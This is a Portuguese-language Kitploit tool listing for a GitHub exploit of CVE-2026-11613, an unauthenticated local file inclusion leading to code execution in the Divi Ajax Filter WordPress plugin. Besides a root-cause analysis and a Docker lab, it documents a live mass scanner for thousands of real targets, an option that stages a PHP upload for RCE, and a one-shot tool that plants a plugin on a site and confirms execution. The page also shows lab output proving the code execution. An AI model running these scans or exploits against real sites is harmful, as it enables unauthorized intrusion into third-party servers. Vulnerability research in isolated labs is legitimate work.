Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 Inclusão de Arquivo Local Não Autenticada via 'custom_loop_template' | Kitploit
Ferramentas/GitHubGitHub/wayang1337/cve-2026-11613
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoLabs e Prática
GitHubwayang1337/cve-2026-11613

CVE-2026-11613

Divi Ajax Filter <= 5.1.2 Inclusão de Arquivo Local Não Autenticada via 'custom_loop_template'

Ver Repositório
9há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 — LFI Não Autenticado -> RCE

PluginDivi Ajax Filter (Divi Engine, premium — não está no SVN do wordpress.org)
Afetadotodas as versões <= 5.1.2 (laboratório usou 3.1.8.4 de um mirror)
Corrigido5.1.3 (11/08/2026)
TipoCWE-98 — PHP Local File Inclusion, não autenticado
CVSS9.8 Crítico (AV:N/AC:L/PR:N/UI:N)
AdvisoryWordfence (finder: h0xilo), publicado em 04/09/2026
Código-fontemirror público: github.com/albertoformi/fr9z3i4pwxt3qx (site WP + plugin em includes/modules/divi-ajax-filter/)

Análise técnica (do código do mirror v3.1.8.4)

  1. Nonce público — includes/modules/FilterPosts/FilterPosts.php:1759 cria wp_create_nonce('filter_object') e o anexa via wp_localize_script (filter_ajax_object.security) ao script enfileirado para TODOS os visitantes (wp_enqueue_scripts). O nonce não é uma barreira: cada visitante tem uma cópia dele.
  2. Ponto de entrada não autenticado — filter_ajax.php:3406-3407 e loadmore_ajax.php:569-570 registram handlers com wp_ajax_nopriv_* (sem login).
  3. Entrada sem sanitização — filter_ajax.php:114-133 (loadmore: 73-91): $loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), depois $custom_loop_template = $loop_var['custom_loop_template'] verbatim — sem basename(), sem whitelist, sem verificação de realpath.
  4. Sink — filter_ajax.php:2871-2873 (loadmore: 344-346):
    root@kitploit:~
    if ($loop_templates == 'custom-template') {
        if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
            include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
    
    Condição: a requisição deve entrar no ramo não-WooCommerce ($posttype do JSON query é livre, sem allow-list) e a query deve retornar >= 1 post.
  5. Profundidade do traversal — diretório base = <webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/ → precisa de ../../../../../ (5×) para voltar ao webroot. NOTA IMPORTANTE: file_exists()/include() falham silenciosamente se o componente do prefixo do caminho não existir — o diretório divi-ajax-filter/loop-templates/ dentro do tema deve existir (essa é a estrutura de custom-template documentada do plugin, então é comum em sites que usam esse recurso; sem esse diretório o traversal é efetivamente bloqueado).
  6. RCE — se um atacante conseguir colocar um .php no servidor (upload de usuário com papel de author, configuração de upload permissiva, outro plugin), incluir o arquivo enviado = execução de código.

Estrutura de diretórios

root@kitploit:~
cve-2026-11613/
├── poc_http.py                  # PoC + scanner massivo ao vivo (arquivo único)
├── divi-ajax-filter-3.1.8.4.zip # plugin pronto para instalar (upload via WP admin / Plugins > Add New)
├── README.md
├── mirror-site/                 # clone do github albertoformi/fr9z3i4pwxt3qx
│   └── includes/modules/divi-ajax-filter/   # plugin v3.1.8.4 (afetado)
└── lab/
    ├── docker-compose.yml       # WP 6.5 + MariaDB, porta 8099
    ├── setup.sh                 # copia o plugin + compose up
    ├── install_wp.sh            # instala o WP + verificação
    └── wp-content/
        ├── mu-plugins/
        │   ├── zz-divi-shim.php        # shim DiviExtension/ET_Builder_* (somente laboratório)
        │   └── zz-activate-daf.php     # ativação automática do plugin
        ├── plugins/divi-ajax-filter/   # plugin vulnerável (montado no container)
        └── uploads/poc-rce.php         # payload de "upload" simulado (exit no final)

Executando o laboratório

root@kitploit:~
bash lab/setup.sh        # copia o plugin + docker compose up (porta 8099)
bash lab/install_wp.sh   # instala o WP (admin / LabPass!2026)
# adiciona a estrutura de tema necessária para o traversal:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# cria 2 posts de exemplo (apenas uma vez):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
  -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
  -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
  wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish

PoC / Scanner ao vivo (sem modo — todos os alvos tratados como ao vivo)

root@kitploit:~
python poc_http.py target.com                       # auto http://
python poc_http.py https://target.com domain2.com   # múltiplos alvos
python poc_http.py --list targets.txt --threads 30  # scan massivo 5000+
python poc_http.py --list targets.txt --fast        # varredura leve 2 req/alvo
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED  # stage RCE
  • Domínio sem scheme vira automaticamente http://; dedupe automático; resultados são gravados incrementalmente em results_cve-2026-11613.csv (seguro com Ctrl-C, resultados parciais salvos).
  • Status por alvo: VULN: LFI / VULN: LFI+RCE (verde), not-confirmed (amarelo), NO-NONCE / NO-PLUGIN (ciano), UNREACHABLE / ERROR (vermelho).
  • --no-color / env NO_COLOR para saída simples; cores desativadas automaticamente quando há pipe.
  • Código de saída: 0 = há alvo vulnerável, 1 = não há, 130 = interrompido.

WayangXploit — one-shot (planta canary + verificação automática de RCE)

root@kitploit:~
python wayang.py <site> <wp-user> <wp-pass>

Um único comando: login → planta canary WayangXploit (plugin pequeno não ativo, somente PoC: imprime marker+uid+uname e sai, não é webshell, sem parâmetro cmd) → verificação → varredura LFI não autenticada → veredito RCE. Auto: upgrade https, bypass SSL, POST preservando redirect. Cleanup: remove o plugin "WayangXploit Canary" + "Divi Compat Shim" no wp-admin após o teste.

poc_http.py agora tem como padrão --upload-marker WayangXploit-RCE-CONFIRMED (então basta --upload-rel / --upload-name).

Resultados da verificação no laboratório (reais, da resposta HTTP)

root@kitploit:~
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2

Condições de explorabilidade em alvos ao vivo (verificadas pelo live_scan.py):

  1. Plugin Divi Ajax Filter <= 5.1.2 ativo (recon: acesso direto ao arquivo principal do plugin).
  2. Nonce filter_object exposto em página pública (script do módulo enfileirado).
  3. Existência de <theme>/divi-ajax-filter/loop-templates/ (o traversal prefixado precisa disso).
  4. Para RCE: existe um arquivo .php acessível ao atacante (ex.: resultado de upload) — somente LFI ainda tem impacto (divulgação de informações / bypass de autenticação em qualquer arquivo .php).
Baixar ferramenta